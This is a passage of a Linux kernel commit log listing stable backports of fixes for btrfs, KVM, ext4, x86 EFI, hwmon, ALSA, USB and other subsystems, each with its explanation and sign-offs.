and ins_size = csum_size * tmp = 4 * 4 = 16 bytes. In other words, we insert a new csum item in the tree with key (CSUM_OBJECTID CSUM_KEY 40157184 = sums->bytenr) that contains the checksums for all the data (4 blocks of 4096 bytes each = sums->len). Which is wrong, because the item with key (CSUM CSUM 40161280) (the one that was moved from leaf N + 1 to the end of leaf N) contains the old checksums of the last 12288 bytes of our data and won't get those old checksums removed. So this leaves us 2 different checksums for 3 4kb blocks of data in the tree, and breaks the logical rule: Key_N+1.offset >= Key_N.offset + length_of_data_its_checksums_cover An obvious bad effect of this is that a subsequent csum tree lookup to get the checksum of any of the blocks with logical offset of 40161280, 40165376 or 40169472 (the last 3 4kb blocks of file data), will get the old checksums. Signed-off-by: Filipe Manana Signed-off-by: Chris Mason Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 97958fc255eaa03fbee06273402031ef83511cdd Author: Stephen M. Cameron Date: Thu Jul 3 10:18:03 2014 -0500 hpsa: fix bad -ENOMEM return value in hpsa_big_passthru_ioctl commit 0758f4f732b08b6ef07f2e5f735655cf69fea477 upstream. When copy_from_user fails, return -EFAULT, not -ENOMEM Signed-off-by: Stephen M. Cameron Reported-by: Robert Elliott Reviewed-by: Joe Handzik Reviewed-by: Scott Teel Reviewed by: Mike MIller Signed-off-by: Christoph Hellwig Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e0347f0ad092503172d88b7aa1704b3dd853234d Author: Matt Fleming Date: Fri Jul 11 08:45:25 2014 +0100 x86/efi: Enforce CONFIG_RELOCATABLE for EFI boot stub commit 7b2a583afb4ab894f78bc0f8bd136e96b6499a7e upstream. Without CONFIG_RELOCATABLE the early boot code will decompress the kernel to LOAD_PHYSICAL_ADDR. While this may have been fine in the BIOS days, that isn't going to fly with UEFI since parts of the firmware code/data may be located at LOAD_PHYSICAL_ADDR. Straying outside of the bounds of the regions we've explicitly requested from the firmware will cause all sorts of trouble. Bruno reports that his machine resets while trying to decompress the kernel image. We already go to great pains to ensure the kernel is loaded into a suitably aligned buffer, it's just that the address isn't necessarily LOAD_PHYSICAL_ADDR, because we can't guarantee that address isn't in-use by the firmware. Explicitly enforce CONFIG_RELOCATABLE for the EFI boot stub, so that we can load the kernel at any address with the correct alignment. Reported-by: Bruno Prémont Tested-by: Bruno Prémont Cc: H. Peter Anvin Signed-off-by: Matt Fleming Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit eb4e90da30f68bb12d92982974d6ec2c7ad4bc84 Author: Andy Lutomirski Date: Fri Jul 25 16:30:27 2014 -0700 x86_64/vsyscall: Fix warn_bad_vsyscall log output commit 53b884ac3745353de220d92ef792515c3ae692f0 upstream. This commit in Linux 3.6: commit c767a54ba0657e52e6edaa97cbe0b0a8bf1c1655 Author: Joe Perches Date: Mon May 21 19:50:07 2012 -0700 x86/debug: Add KERN_ to bare printks, convert printks to pr_ caused warn_bad_vsyscall to output garbage in the middle of the line. Revert the bad part of it. The printk in question isn't actually bare; the level is "%s". The bug this fixes is purely cosmetic; backports are optional. Signed-off-by: Andy Lutomirski Link: http://lkml.kernel.org/r/03eac1f24110bbe496ecc12a4df467e0d88466d4.1406330947.git.luto@amacapital.net Signed-off-by: H. Peter Anvin Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c21ac1845be48dabfbe8f89e710e5569d610402e Author: Christoph Schulz Date: Wed Jul 16 10:00:57 2014 +0200 x86: don't exclude low BIOS area when allocating address space for non-PCI cards commit cbace46a9710a480cae51e4611697df5de41713e upstream. Commit 30919b0bf356 ("x86: avoid low BIOS area when allocating address space") moved the test for resource allocations that fall within the first 1MB of address space from the PCI-specific path to a generic path, such that all resource allocations will avoid this area. However, this breaks ISA cards which need to allocate a memory region within the first 1MB. An example is the i82365 PCMCIA controller and derivatives like the Ricoh RF5C296/396 which map part of the PCMCIA socket memory address space into the first 1MB of system memory address space. They do not work anymore as no usable memory region exists due to this change: Intel ISA PCIC probe: Ricoh RF5C296/396 ISA-to-PCMCIA at port 0x3e0 ofs 0x00, 2 sockets host opts [0]: none host opts [1]: none ISA irqs (scanned) = 3,4,5,9,10 status change on irq 10 pcmcia_socket pcmcia_socket1: pccard: PCMCIA card inserted into slot 1 pcmcia_socket pcmcia_socket0: cs: IO port probe 0xc00-0xcff: excluding 0xcf8-0xcff pcmcia_socket pcmcia_socket0: cs: IO port probe 0xa00-0xaff: clean. pcmcia_socket pcmcia_socket0: cs: IO port probe 0x100-0x3ff: excluding 0x170-0x177 0x1f0-0x1f7 0x2f8-0x2ff 0x370-0x37f 0x3c0-0x3e7 0x3f0-0x3ff pcmcia_socket pcmcia_socket0: cs: memory probe 0x0a0000-0x0affff: excluding 0xa0000-0xaffff pcmcia_socket pcmcia_socket0: cs: memory probe 0x0b0000-0x0bffff: excluding 0xb0000-0xbffff pcmcia_socket pcmcia_socket0: cs: memory probe 0x0c0000-0x0cffff: excluding 0xc0000-0xcbfff pcmcia_socket pcmcia_socket0: cs: memory probe 0x0d0000-0x0dffff: clean. pcmcia_socket pcmcia_socket0: cs: memory probe 0x0e0000-0x0effff: clean. pcmcia_socket pcmcia_socket0: cs: memory probe 0x60000000-0x60ffffff: clean. pcmcia_socket pcmcia_socket0: cs: memory probe 0xa0000000-0xa0ffffff: clean. pcmcia_socket pcmcia_socket1: cs: IO port probe 0xc00-0xcff: excluding 0xcf8-0xcff pcmcia_socket pcmcia_socket1: cs: IO port probe 0xa00-0xaff: clean. pcmcia_socket pcmcia_socket1: cs: IO port probe 0x100-0x3ff: excluding 0x170-0x177 0x1f0-0x1f7 0x2f8-0x2ff 0x370-0x37f 0x3c0-0x3e7 0x3f0-0x3ff pcmcia_socket pcmcia_socket1: cs: memory probe 0x0a0000-0x0affff: excluding 0xa0000-0xaffff pcmcia_socket pcmcia_socket1: cs: memory probe 0x0b0000-0x0bffff: excluding 0xb0000-0xbffff pcmcia_socket pcmcia_socket1: cs: memory probe 0x0c0000-0x0cffff: excluding 0xc0000-0xcbfff pcmcia_socket pcmcia_socket1: cs: memory probe 0x0d0000-0x0dffff: clean. pcmcia_socket pcmcia_socket1: cs: memory probe 0x0e0000-0x0effff: clean. pcmcia_socket pcmcia_socket1: cs: memory probe 0x60000000-0x60ffffff: clean. pcmcia_socket pcmcia_socket1: cs: memory probe 0xa0000000-0xa0ffffff: clean. pcmcia_socket pcmcia_socket1: cs: memory probe 0x0cc000-0x0effff: excluding 0xe0000-0xeffff pcmcia_socket pcmcia_socket1: cs: unable to map card memory! If filtering out the first 1MB is reverted, everything works as expected. Tested-by: Robert Resch Signed-off-by: Christoph Schulz Signed-off-by: Bjorn Helgaas Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0934d8f791ff42446a234076a8f7d9618025d792 Author: Alex Deucher Date: Thu Aug 21 10:55:07 2014 -0400 drm/radeon: add additional SI pci ids commit 37dbeab788a8f23fd946c0be083e5484d6f929a1 upstream. Signed-off-by: Alex Deucher Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1d55328698081f8decd0b844a4c3812325d4e57c Author: Theodore Ts'o Date: Sat Aug 23 17:47:28 2014 -0400 ext4: fix BUG_ON in mb_free_blocks() commit c99d1e6e83b06744c75d9f5e491ed495a7086b7b upstream. If we suffer a block allocation failure (for example due to a memory allocation failure), it's possible that we will call ext4_discard_allocated_blocks() before we've actually allocated any blocks. In that case, fe_len and fe_start in ac->ac_f_ex will still be zero, and this will result in mb_free_blocks(inode, e4b, 0, 0) triggering the BUG_ON on mb_free_blocks(): BUG_ON(last >= (sb->s_blocksize << 3)); Fix this by bailing out of ext4_discard_allocated_blocks() if fs_len is zero. Also fix a missing ext4_mb_unload_buddy() call in ext4_discard_allocated_blocks(). Google-Bug-Id: 16844242 Fixes: 86f0afd463215fc3e58020493482faa4ac3a4d69 Signed-off-by: Theodore Ts'o Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit bb567c2bc7c0648d72d31c18308c3ea69471f059 Author: Michael S. Tsirkin Date: Tue Aug 19 19:14:50 2014 +0800 kvm: iommu: fix the third parameter of kvm_iommu_put_pages (CVE-2014-3601) commit 350b8bdd689cd2ab2c67c8a86a0be86cfa0751a7 upstream. The third parameter of kvm_iommu_put_pages is wrong, It should be 'gfn - slot->base_gfn'. By making gfn very large, malicious guest or userspace can cause kvm to go to this error path, and subsequently to pass a huge value as size. Alternatively if gfn is small, then pages would be pinned but never unpinned, causing host memory leak and local DOS. Passing a reasonable but large value could be the most dangerous case, because it would unpin a page that should have stayed pinned, and thus allow the device to DMA into arbitrary memory. However, this cannot happen because of the condition that can trigger the error: - out of memory (where you can't allocate even a single page) should not be possible for the attacker to trigger - when exceeding the iommu's address space, guest pages after gfn will also exceed the iommu's address space, and inside kvm_iommu_put_pages() the iommu_iova_to_phys() will fail. The page thus would not be unpinned at all. Reported-by: Jack Morgenstein Signed-off-by: Michael S. Tsirkin Signed-off-by: Paolo Bonzini Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f78ef8833a5ba6a4becc1ed255bd5e7443bb24e9 Author: Paolo Bonzini Date: Mon Aug 18 16:39:48 2014 +0200 Revert "KVM: x86: Increase the number of fixed MTRR regs to 10" commit 0d234daf7e0a3290a3a20c8087eefbd6335a5bd4 upstream. This reverts commit 682367c494869008eb89ef733f196e99415ae862, which causes 32-bit SMP Windows 7 guests to panic. SeaBIOS has a limit on the number of MTRRs that it can handle, and this patch exceeded the limit. Better revert it. Thanks to Nadav Amit for debugging the cause. Reported-by: Wanpeng Li Signed-off-by: Paolo Bonzini Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9966224a69c720e90f05fa8aabb12bf928631c28 Author: Wanpeng Li Date: Tue Aug 5 12:42:24 2014 +0800 KVM: nVMX: fix "acknowledge interrupt on exit" when APICv is in use commit 56cc2406d68c0f09505c389e276f27a99f495cbd upstream. After commit 77b0f5d (KVM: nVMX: Ack and write vector info to intr_info if L1 asks us to), "Acknowledge interrupt on exit" behavior can be emulated. To do so, KVM will ask the APIC for the interrupt vector if during a nested vmexit if VM_EXIT_ACK_INTR_ON_EXIT is set. With APICv, kvm_get_apic_interrupt would return -1 and give the following WARNING: Call Trace: [] dump_stack+0x49/0x5e [] warn_slowpath_common+0x7c/0x96 [] ? nested_vmx_vmexit+0xa4/0x233 [kvm_intel] [] warn_slowpath_null+0x15/0x17 [] nested_vmx_vmexit+0xa4/0x233 [kvm_intel] [] ? nested_vmx_exit_handled+0x6a/0x39e [kvm_intel] [] ? kvm_apic_has_interrupt+0x80/0xd5 [kvm] [] vmx_check_nested_events+0xc3/0xd3 [kvm_intel] [] inject_pending_event+0xd0/0x16e [kvm] [] vcpu_enter_guest+0x319/0x704 [kvm] To fix this, we cannot rely on the processor's virtual interrupt delivery, because "acknowledge interrupt on exit" must only update the virtual ISR/PPR/IRR registers (and SVI, which is just a cache of the virtual ISR) but it should not deliver the interrupt through the IDT. Thus, KVM has to deliver the interrupt "by hand", similar to the treatment of EOI in commit fc57ac2c9ca8 (KVM: lapic: sync highest ISR to hardware apic on EOI, 2014-05-14). The patch modifies kvm_cpu_get_interrupt to always acknowledge an interrupt; there are only two callers, and the other is not affected because it is never reached with kvm_apic_vid_enabled() == true. Then it modifies apic_set_isr and apic_clear_irr to update SVI and RVI in addition to the registers. Suggested-by: Paolo Bonzini Suggested-by: "Zhang, Yang Z" Tested-by: Liu, RongrongX Tested-by: Felipe Reyes Fixes: 77b0f5d67ff2781f36831cba79674c3e97bd7acf Signed-off-by: Wanpeng Li Signed-off-by: Paolo Bonzini Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e7368d2b8f0c4d17333529118c6eadd4a57e754a Author: Paolo Bonzini Date: Wed Jul 30 18:07:24 2014 +0200 KVM: x86: always exit on EOIs for interrupts listed in the IOAPIC redir table commit 0f6c0a740b7d3e1f3697395922d674000f83d060 upstream. Currently, the EOI exit bitmap (used for APICv) does not include interrupts that are masked. However, this can cause a bug that manifests as an interrupt storm inside the guest. Alex Williamson reported the bug and is the one who really debugged this; I only wrote the patch. :) The scenario involves a multi-function PCI device with OHCI and EHCI USB functions and an audio function, all assigned to the guest, where both USB functions use legacy INTx interrupts. As soon as the guest boots, interrupts for these devices turn into an interrupt storm in the guest; the host does not see the interrupt storm. Basically the EOI path does not work, and the guest continues to see the interrupt over and over, even after it attempts to mask it at the APIC. The bug is only visible with older kernels (RHEL6.5, based on 2.6.32 with not many changes in the area of APIC/IOAPIC handling). Alex then tried forcing bit 59 (corresponding to the USB functions' IRQ) on in the eoi_exit_bitmap and TMR, and things then work. What happens is that VFIO asserts IRQ11, then KVM recomputes the EOI exit bitmap. It does not have set bit 59 because the RTE was masked, so the IOAPIC never sees the EOI and the interrupt continues to fire in the guest. My guess was that the guest is masking the interrupt in the redirection table in the interrupt routine, i.e. while the interrupt is set in a LAPIC's ISR, The simplest fix is to ignore the masking state, we would rather have an unnecessary exit rather than a missed IRQ ACK and anyway IOAPIC interrupts are not as performance-sensitive as for example MSIs. Alex tested this patch and it fixed his bug. [Thanks to Alex for his precise description of the problem and initial debugging effort. A lot of the text above is based on emails exchanged with him.] Reported-by: Alex Williamson Tested-by: Alex Williamson Signed-off-by: Paolo Bonzini Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f31dba2207a9a7b8b18da674d36eb73bd3a2f4a4 Author: Nadav Amit Date: Sun Jun 15 16:12:59 2014 +0300 KVM: x86: Inter-privilege level ret emulation is not implemeneted commit 9e8919ae793f4edfaa29694a70f71a515ae9942a upstream. Return unhandlable error on inter-privilege level ret instruction. This is since the current emulation does not check the privilege level correctly when loading the CS, and does not pop RSP/SS as needed. Signed-off-by: Nadav Amit Signed-off-by: Paolo Bonzini Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit fea2454bab055cb3fb34ae04752bfb748c803bd6 Author: Arnd Bergmann Date: Thu Jun 26 13:43:02 2014 +0200 crypto: ux500 - make interrupt mode plausible commit e1f8859ee265fc89bd21b4dca79e8e983a044892 upstream. The interrupt handler in the ux500 crypto driver has an obviously incorrect way to access the data buffer, which for a while has caused this build warning: ../ux500/cryp/cryp_core.c: In function 'cryp_interrupt_handler': ../ux500/cryp/cryp_core.c:234:5: warning: passing argument 1 of '__fswab32' makes integer from pointer without a cast [enabled by default] writel_relaxed(ctx->indata, ^ In file included from ../include/linux/swab.h:4:0, from ../include/uapi/linux/byteorder/big_endian.h:12, from ../include/linux/byteorder/big_endian.h:4, from ../arch/arm/include/uapi/asm/byteorder.h:19, from ../include/asm-generic/bitops/le.h:5, from ../arch/arm/include/asm/bitops.h:340, from ../include/linux/bitops.h:33, from ../include/linux/kernel.h:10, from ../include/linux/clk.h:16, from ../drivers/crypto/ux500/cryp/cryp_core.c:12: ../include/uapi/linux/swab.h:57:119: note: expected '__u32' but argument is of type 'const u8 *' static inline __attribute_const__ __u32 __fswab32(__u32 val) There are at least two, possibly three problems here: a) when writing into the FIFO, we copy the pointer rather than the actual data we want to give to the hardware b) the data pointer is an array of 8-bit values, while the FIFO is 32-bit wide, so both the read and write access fail to do a proper type conversion c) This seems incorrect for big-endian kernels, on which we need to byte-swap any register access, but not normally FIFO accesses, at least the DMA case doesn't do it either. This converts the bogus loop to use the same readsl/writesl pair that we use for the two other modes (DMA and polling). This is more efficient and consistent, and probably correct for endianess. The bug has existed since the driver was first merged, and was probably never detected because nobody tried to use interrupt mode. It might make sense to backport this fix to stable kernels, depending on how the crypto maintainers feel about that. Signed-off-by: Arnd Bergmann Cc: linux-crypto@vger.kernel.org Cc: Fabio Baltieri Cc: Linus Walleij Cc: Herbert Xu Cc: "David S. Miller" Signed-off-by: Herbert Xu Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 77f85eb6b9d4e9800704c7c195b1e19ba84821c2 Author: Peter Hurley Date: Wed Jul 9 09:21:14 2014 -0400 serial: core: Preserve termios c_cflag for console resume commit ae84db9661cafc63d179e1d985a2c5b841ff0ac4 upstream. When a tty is opened for the serial console, the termios c_cflag settings are inherited from the console line settings. However, if the tty is subsequently closed, the termios settings are lost. This results in a garbled console if the console is later suspended and resumed. Preserve the termios c_cflag for the serial console when the tty is shutdown; this reflects the most recent line settings. Fixes: Bugzilla #69751, 'serial console does not wake from S3' Reported-by: Valerio Vanni Acked-by: Alan Cox Signed-off-by: Peter Hurley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 17f82a990063616f57024f3a60c4bfbccf977fae Author: Theodore Ts'o Date: Wed Jul 30 22:17:17 2014 -0400 ext4: fix ext4_discard_allocated_blocks() if we can't allocate the pa struct commit 86f0afd463215fc3e58020493482faa4ac3a4d69 upstream. If there is a failure while allocating the preallocation structure, a number of blocks can end up getting marked in the in-memory buddy bitmap, and then not getting released. This can result in the following corruption getting reported by the kernel: EXT4-fs error (device sda3): ext4_mb_generate_buddy:758: group 1126, 12793 clusters in bitmap, 12729 in gd In that case, we need to release the blocks using mb_free_blocks(). Tested: fs smoke test; also demonstrated that with injected errors, the file system is no longer getting corrupted Google-Bug-Id: 16657874 Signed-off-by: "Theodore Ts'o" Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9dd4cf685391546ab6c9dda097d8ac9494ffb34d Author: Wolfram Sang Date: Mon Jul 21 11:42:03 2014 +0200 drivers/i2c/busses: use correct type for dma_map/unmap commit 28772ac8711e4d7268c06e765887dd8cb6924f98 upstream. dma_{un}map_* uses 'enum dma_data_direction' not 'enum dma_transfer_direction'. Signed-off-by: Wolfram Sang Acked-by: Ludovic Desroches Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 61a4c0fce7e56a8975ebae648617a0b7bf7181f8 Author: Axel Lin Date: Wed Aug 6 08:02:44 2014 +0800 hwmon: (dme1737) Prevent overflow problem when writing large limits commit d58e47d787c09fe5c61af3c6ce7d784762f29c3d upstream. On platforms with sizeof(int) < sizeof(long), writing a temperature limit larger than MAXINT will result in unpredictable limit values written to the chip. Avoid auto-conversion from long to int to fix the problem. Voltage limits, fan minimum speed, pwm frequency, pwm ramp rate, and other attributes have the same problem, fix them as well. Zone temperature limits are signed, but were cached as u8, causing unepected values to be reported for negative temperatures. Cache as s8 to fix the problem. vrm is an u8, so the written value needs to be limited to [0, 255]. Signed-off-by: Axel Lin [Guenter Roeck: Fix zone temperature cache] Signed-off-by: Guenter Roeck Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c8056976616c26856b252bd112266c2674a76504 Author: Axel Lin Date: Tue Aug 5 09:59:49 2014 +0800 hwmon: (ads1015) Fix out-of-bounds array access commit e981429557cbe10c780fab1c1a237cb832757652 upstream. Current code uses data_rate as array index in ads1015_read_adc() and uses pga as array index in ads1015_reg_to_mv, so we must make sure both data_rate and pga settings are in valid value range. Return -EINVAL if the setting is out-of-range. Signed-off-by: Axel Lin Signed-off-by: Guenter Roeck Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8cabfac5ca4cc74a798150149cbdd1e4f968e645 Author: Guenter Roeck Date: Tue Jul 29 22:23:12 2014 -0700 hwmon: (lm85) Fix various errors on attribute writes commit 3248c3b771ddd9d31695da17ba350eb6e1b80a53 upstream. Temperature limit register writes did not account for negative numbers. As a result, writing -127000 resulted in -126000 written into the temperature limit register. This problem affected temp[1-3]_min, temp[1-3]_max, temp[1-3]_auto_temp_crit, and temp[1-3]_auto_temp_min. When writing pwm[1-3]_freq, a long variable was auto-converted into an int without range check. Wiring values larger than MAXINT resulted in unexpected register values. When writing temp[1-3]_auto_temp_max, an unsigned long variable was auto-converted into an int without range check. Writing values larger than MAXINT resulted in unexpected register values. vrm is an u8, so the written value needs to be limited to [0, 255]. Cc: Axel Lin Reviewed-by: Axel Lin Signed-off-by: Guenter Roeck Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5d1ecc4f4290bc6ad3915be07ec2e165bc5c5ec5 Author: Axel Lin Date: Wed Jul 30 11:13:52 2014 +0800 hwmon: (ads1015) Fix off-by-one for valid channel index checking commit 56de1377ad92f72ee4e5cb0faf7a9b6048fdf0bf upstream. Current code uses channel as array index, so the valid channel value is 0 .. ADS1015_CHANNELS - 1. Signed-off-by: Axel Lin Signed-off-by: Guenter Roeck Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e90f0f1ea60da1fe625078c90a30f35f75bb9ef7 Author: Axel Lin Date: Sat Aug 2 13:36:38 2014 +0800 hwmon: (gpio-fan) Prevent overflow problem when writing large limits commit 2565fb05d1e9fc0831f7b1c083bcfcb1cba1f020 upstream. On platforms with sizeof(int) < sizeof(unsigned long), writing a rpm value larger than MAXINT will result in unpredictable limit values written to the chip. Avoid auto-conversion from unsigned long to int to fix the problem. Signed-off-by: Axel Lin Signed-off-by: Guenter Roeck Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 549373d76a2193749a497d5ae723002bd5d25fd2 Author: Guenter Roeck Date: Tue Jul 29 20:48:59 2014 -0700 hwmon: (lm78) Fix overflow problems seen when writing large temperature limits commit 1074d683a51f1aded3562add9ef313e75d557327 upstream. On platforms with sizeof(int) < sizeof(long), writing a temperature limit larger than MAXINT will result in unpredictable limit values written to the chip. Avoid auto-conversion from long to int to fix the problem. Cc: Axel Lin Reviewed-by: Axel Lin Signed-off-by: Guenter Roeck Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a0c80f4d90d462bbb4cd0857c2f5ce352fed979d Author: Axel Lin Date: Thu Jul 31 22:27:04 2014 +0800 hwmon: (sis5595) Prevent overflow problem when writing large limits commit cc336546ddca8c22de83720632431c16a5f9fe9a upstream. On platforms with sizeof(int) < sizeof(long), writing a temperature limit larger than MAXINT will result in unpredictable limit values written to the chip. Avoid auto-conversion from long to int to fix the problem. Signed-off-by: Axel Lin Signed-off-by: Guenter Roeck Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit da5034ab3a328089660b82283baf51031bc06266 Author: Russell King Date: Sat Jul 12 10:53:41 2014 +0100 drm: omapdrm: fix compiler errors commit 2d31ca3ad7d5d44c8adc7f253c96ce33f3a2e931 upstream. Regular randconfig nightly testing has detected problems with omapdrm. omapdrm fails to build when the kernel is built to support 64-bit DMA addresses and/or 64-bit physical addresses due to an assumption about the width of these types. Use %pad to print DMA addresses, rather than %x or %Zx (which is even more wrong than %x). Avoid passing a uint32_t pointer into a function which expects dma_addr_t pointer. drivers/gpu/drm/omapdrm/omap_plane.c: In function 'omap_plane_pre_apply': drivers/gpu/drm/omapdrm/omap_plane.c:145:2: error: format '%x' expects argument of type 'unsigned int', but argument 5 has type 'dma_addr_t' [-Werror=format] drivers/gpu/drm/omapdrm/omap_plane.c:145:2: error: format '%x' expects argument of type 'unsigned int', but argument 6 has type 'dma_addr_t' [-Werror=format] make[5]: *** [drivers/gpu/drm/omapdrm/omap_plane.o] Error 1 drivers/gpu/drm/omapdrm/omap_gem.c: In function 'omap_gem_get_paddr': drivers/gpu/drm/omapdrm/omap_gem.c:794:4: error: format '%x' expects argument of type 'unsigned int', but argument 3 has type 'dma_addr_t' [-Werror=format] drivers/gpu/drm/omapdrm/omap_gem.c: In function 'omap_gem_describe': drivers/gpu/drm/omapdrm/omap_gem.c:991:4: error: format '%Zx' expects argument of type 'size_t', but argument 7 has type 'dma_addr_t' [-Werror=format] drivers/gpu/drm/omapdrm/omap_gem.c: In function 'omap_gem_init': drivers/gpu/drm/omapdrm/omap_gem.c:1470:4: error: format '%x' expects argument of type 'unsigned int', but argument 7 has type 'dma_addr_t' [-Werror=format] make[5]: *** [drivers/gpu/drm/omapdrm/omap_gem.o] Error 1 drivers/gpu/drm/omapdrm/omap_dmm_tiler.c: In function 'dmm_txn_append': drivers/gpu/drm/omapdrm/omap_dmm_tiler.c:226:2: error: passing argument 3 of 'alloc_dma' from incompatible pointer type [-Werror] make[5]: *** [drivers/gpu/drm/omapdrm/omap_dmm_tiler.o] Error 1 make[5]: Target `__build' not remade because of errors. make[4]: *** [drivers/gpu/drm/omapdrm] Error 2 Signed-off-by: Russell King Signed-off-by: Dave Airlie Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 24d9c87cffc58037f60bc76da8823fe37428f7b4 Author: Jeremy Vial Date: Thu Jul 31 15:10:33 2014 +0200 ARM: OMAP3: Fix choice of omap3_restore_es function in OMAP34XX rev3.1.2 case. commit 9b5f7428f8b16bd8980213f2b70baf1dd0b9e36c upstream. According to the comment “restore_es3: applies to 34xx >= ES3.0" in "arch/arm/mach-omap2/sleep34xx.Sâ€, omap3_restore_es3 should be used if the revision of an OMAP34xx is ES3.1.2. Signed-off-by: Jeremy Vial Signed-off-by: Tony Lindgren Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0b08dcdd4d70cb7bcd3256c861ae5a2103a6096c Author: Alexander Usyskin Date: Thu Jul 17 10:53:35 2014 +0300 mei: start disconnect request timer consistently commit 22b987a325701223f9a37db700c6eb20b9924c6f upstream. Link must be reset in case the fw doesn't respond to client disconnect request. We did charge the timer only in irq path from mei_cl_irq_close and not in mei_cl_disconnect Signed-off-by: Alexander Usyskin Signed-off-by: Tomas Winkler Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit bd321640b9b588bb376b0b502f36ea987c1e07dd Author: Takashi Iwai Date: Fri Aug 15 17:35:00 2014 +0200 ALSA: hda/realtek - Avoid setting wrong COEF on ALC269 & co commit f3ee07d8b6e061bf34a7167c3f564e8da4360a99 upstream. ALC269 & co have many vendor-specific setups with COEF verbs. However, some verbs seem specific to some codec versions and they result in the codec stalling. Typically, such a case can be avoided by checking the return value from reading a COEF. If the return value is -1, it implies that the COEF is invalid, thus it shouldn't be written. This patch adds the invalid COEF checks in appropriate places accessing ALC269 and its variants. The patch actually fixes the resume problem on Acer AO725 laptop. Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=52181 Tested-by: Francesco Muzio Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2d6061fc1602442a28eef668b3e63d7c504d13a4 Author: Takashi Iwai Date: Sun Aug 10 13:30:08 2014 +0200 ALSA: hda/ca0132 - Don't try loading firmware at resume when already failed commit e24aa0a4c5ac92a171d9dd74a8d3dbf652990d36 upstream. CA0132 driver tries to reload the firmware at resume. Usually this works since the firmware loader core caches the firmware contents by itself. However, if the driver failed to load the firmwares (e.g. missing files), reloading the firmware at resume goes through the actual file loading code path, and triggers a kernel WARNING like: WARNING: CPU: 10 PID:11371 at drivers/base/firmware_class.c:1105 _request_firmware+0x9ab/0x9d0() For avoiding this situation, this patch makes CA0132 skipping the f/w loading at resume when it failed at probe time. Reported-and-tested-by: Janek Kozicki Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2324abbab4f56cf1d09585dcda8fddc227a8758f Author: Clemens Ladisch Date: Mon Aug 4 15:17:55 2014 +0200 ALSA: virtuoso: add Xonar Essence STX II support commit f42bb22243d2ae264d721b055f836059fe35321f upstream. Just add the PCI ID for the STX II. It appears to work the same as the STX, except for the addition of the not-yet-supported daughterboard. Tested-by: Mario Tested-by: corubba Signed-off-by: Clemens Ladisch Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ca8faa64994b3806173fc69d513b62a89861aa89 Author: Hui Wang Date: Wed Jul 30 11:11:48 2014 +0800 ALSA: hda - fix an external mic jack problem on a HP machine commit 7440850c20b69658f322119d20a94dc914127cc7 upstream. ON the machine, two pin complex (0xb and 0xe) are both routed to the same external right-side mic jack, this makes the jack can't work. To fix this problem, set the 0xe to "not connected". BugLink: https://bugs.launchpad.net/bugs/1350148 Tested-by: Franz Hsieh Signed-off-by: Hui Wang Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f61f22c511e35d54df4e40086fb8f788d0d6ca2b Author: Pratyush Anand Date: Fri Jul 18 12:37:10 2014 +0530 USB: Fix persist resume of some SS USB devices commit a40178b2fa6ad87670fb1e5fa4024db00c149629 upstream. Problem Summary: Problem has been observed generally with PM states where VBUS goes off during suspend. There are some SS USB devices which take longer time for link training compared to many others. Such devices fail to reconnect with same old address which was associated with it before suspend. When system resumes, at some point of time (dpm_run_callback-> usb_dev_resume->usb_resume->usb_resume_both->usb_resume_device-> usb_port_resume) SW reads hub status. If device is present, then it finishes port resume and re-enumerates device with same address. If device is not present then, SW thinks that device was removed during suspend and therefore does logical disconnection and removes all the resource allocated for this device. Now, if I put sufficient delay just before root hub status read in usb_resume_device then, SW sees always that device is present. In normal course(without any delay) SW sees that no device is present and then SW removes all resource associated with the device at this port. In the latter case, after sometime, device says that hey I am here, now host enumerates it, but with new address. Problem had been reproduced when I connect verbatim USB3.0 hard disc with my STiH407 XHCI host running with 3.10 kernel. I see that similar problem has been reported here. https://bugzilla.kernel.org/show_bug.cgi?id=53211 Reading above it seems that bug was not in 3.6.6 and was present in 3.8 and again it was not present for some in 3.12.6, while it was present for few others. I tested with 3.13-FC19 running at i686 desktop, problem was still there. However, I was failed to reproduce it with 3.16-RC4 running at same i686 machine. I would say it is just a random observation. Problem for few devices is always there, as I am unable to find a proper fix for the issue. So, now question is what should be the amount of delay so that host is always able to recognize suspended device after resume. XHCI specs 4.19.4 says that when Link training is successful, port sets CSC bit to 1. So if SW reads port status before successful link training, then it will not find device to be present. USB Analyzer log with such buggy devices show that in some cases device switch on the RX termination after long delay of host enabling the VBUS. In few other 